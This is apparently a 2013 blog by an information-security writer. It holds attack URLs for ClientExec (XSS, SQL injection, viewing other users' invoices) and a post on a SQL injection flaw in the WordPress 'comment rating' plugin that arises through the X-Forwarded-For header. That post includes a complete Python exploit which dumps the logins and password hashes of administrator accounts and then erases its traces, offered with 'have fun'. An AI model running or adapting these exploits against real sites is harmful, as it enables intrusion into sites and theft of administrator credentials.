localhost
Random ramblings from someone working in InfoSec

contact me@localhost.re
archive - rss
2013/05/24

So I decided to give ClientExec a try. You know what kind of try :)

Let's start with XSS:

/order.php?step=subsearch&tld=false&name=1'){}}alert('xss');function+x(){if('

Some SQLi (log in as a client and set a valid sessionHash):

/index.php?sessionHash=&fuse=billing&sort=1,2&action=GetInvoiceEntries&invoiceid=[SQLi]
/index.php?sessionHash=&fuse=billing&action=GetInvoiceList&sort=[SQLi]
/index.php?sessionHash=&fuse=billing&action=GetUnInvoicedList&sort=[SQLi]

And uhm, let's view invoices of other users:

/index.php?sessionHash=&fuse=billing&action=GetInvoiceList&customerid=[Customer]

A lot more vulns, of different types, were found, stay tuned.

2013/03/18

I hate Wordpress. Not the Wordpress code itself, but the sloppiness with which plugins are written. And the scary part: the amount of users using those plugins.

It's quite amazing how plugins with thousands of users can have security holes that any programmer should know about.

Let's take for example comment rating, a pretty popular one.

ck-processkarma.php:

<?php
$k_id = strip_tags($wpdb->escape($_GET['id']));
$k_action = strip_tags($wpdb->escape($_GET['action']));
$k_path = strip_tags($wpdb->escape($_GET['path']));
$k_imgIndex = strip_tags($wpdb->escape($_GET['imgIndex']));

// prevent SQL injection
if (!is_numeric($k_id)) die('error|Query error');
?>

We can see that the programmer secures some of the user input, but scroll down and you'll see:

<?php
$ip = getenv("HTTP_X_FORWARDED_FOR") ? getenv("HTTP_X_FORWARDED_FOR") : getenv("REMOTE_ADDR");
if(strstr($row['ck_ips'], $ip)) {
    // die('error|You have already voted on this item!'); 
    // Just don't count duplicated votes
    $duplicated = 1;
    $ck_ips = $row['ck_ips'];
}
else {
    $ck_ips = $row['ck_ips'] . ',' . $ip; // IPs are separated by ','
}
?>

So far so good. Scroll down a bit more:

<?php         
$query = "UPDATE `$table_name` SET ck_rating_$direction = '$rating', ck_ips = '" . $ck_ips  . "' WHERE ck_comment_id = $k_id";
$result = mysql_query($query); 
?>

Lovely, isn't it?

Let's recap:

  • user-supplied values in $_GET, which are sanitized
  • get the comment data with a SQL query
  • $ip = use HTTP_X_FORWARDED_FOR if the user sends it, otherwise use the users IP address - not sanitized because the programmer probably thinks a header is always sanitized
  • UPDATE the comment data using $ip and $rating (SQL Injection)
  • display the rating

Exploiting the vulnerability

An exploit to get the admin users/hashes

#/usr/bin/env python
# 2013/03/18 - Wordpress plugin comment rating 2.9.32 SQL Injection
# http://localhost.re/p/wordpress-plugins-part-1
import urllib
from urllib2 import Request, urlopen

### target ###
url = 'http://host/wp-content/plugins/comment-rating/ck-processkarma.php?id=1&action=add&path=1&imgIndex=1'

useragent = "Mozilla/4.0"
show_queries = False

def request(s1, s2 = False, twice = False): 
    if(s2):
        sql = "',ck_rating_up=(%s)-'1',ck_rating_down=(%s)-'1" % (s1, s2)
    else:
        sql = "',ck_rating_up=(%s)-'1" % s1
    r = Request(url, headers={"User-agent": useragent, "X-Forwarded-For": sql})
    if twice:
        urlopen(r)
    rsp = urlopen(r).read().split('|')
    if show_queries:
        print " Running %s %s" % (s1, s2)
    return int(rsp[2]), int(rsp[5])

def getValue(sql):
    l = int(request("LENGTH((%s))" % sql, False, True)[0])
    t = ''
    s = w = 1
    for i in xrange(1, l+1, 8):
        q1 = q2 = ''
        if(s+8 > l):
            w = l+1
        else:
            w += 8
        for v in xrange(s, w, 4):
            tmp = "CONV(HEX(SUBSTRING((%s),%d,4)),16,10)" % (sql, v)
            if q1:
                q2 = tmp
            else:
                q1 = tmp
        b = request(q1, q2)
        if i > 1:
            t += hex(b[0])[2:].decode('hex') + hex(b[0]-b[1]+1)[2:].decode('hex')
        s += 8
    b = request(q1, q2)
    t += hex(b[0])[2:].decode('hex') + hex(b[0]-b[1]+1)[2:].decode('hex')
    return t[0:l]

users_table = getValue("SELECT table_name FROM information_schema.columns WHERE table_name LIKE '%users' AND column_name = 'user_login' AND table_schema = database() LIMIT 1")
meta_table = getValue("SELECT table_name FROM information_schema.columns WHERE table_name LIKE '%usermeta' AND column_name = 'umeta_id' AND table_schema = database() LIMIT 1")
print " * Users table name: %s, %s" % (users_table, meta_table)
admin_count = int(request("SELECT COUNT(*) FROM %s WHERE meta_key = 'wp_capabilities' AND meta_value LIKE '%%administrator%%'" % meta_table, False, True)[0])
print " * Admins: %d" % admin_count
for j in range(admin_count):
    uid = int(request("SELECT user_id FROM %s WHERE meta_key = 'wp_capabilities' AND meta_value LIKE '%%administrator%%' LIMIT %d, 1" % (meta_table, j), False, True)[0])
    print getValue("SELECT CONCAT(user_login,'|',user_pass) FROM %s WHERE ID = %d" % (users_table, uid))

# cleanup
urlopen(Request(url, headers={"User-agent": useragent, "X-Forwarded-For": "', ck_ips='127.0.0.1',ck_rating_up='0',ck_rating_down='0"}))

That's it for now, have fun.

2013/03/16

#!/usr/bin/env python
print 'Hello world'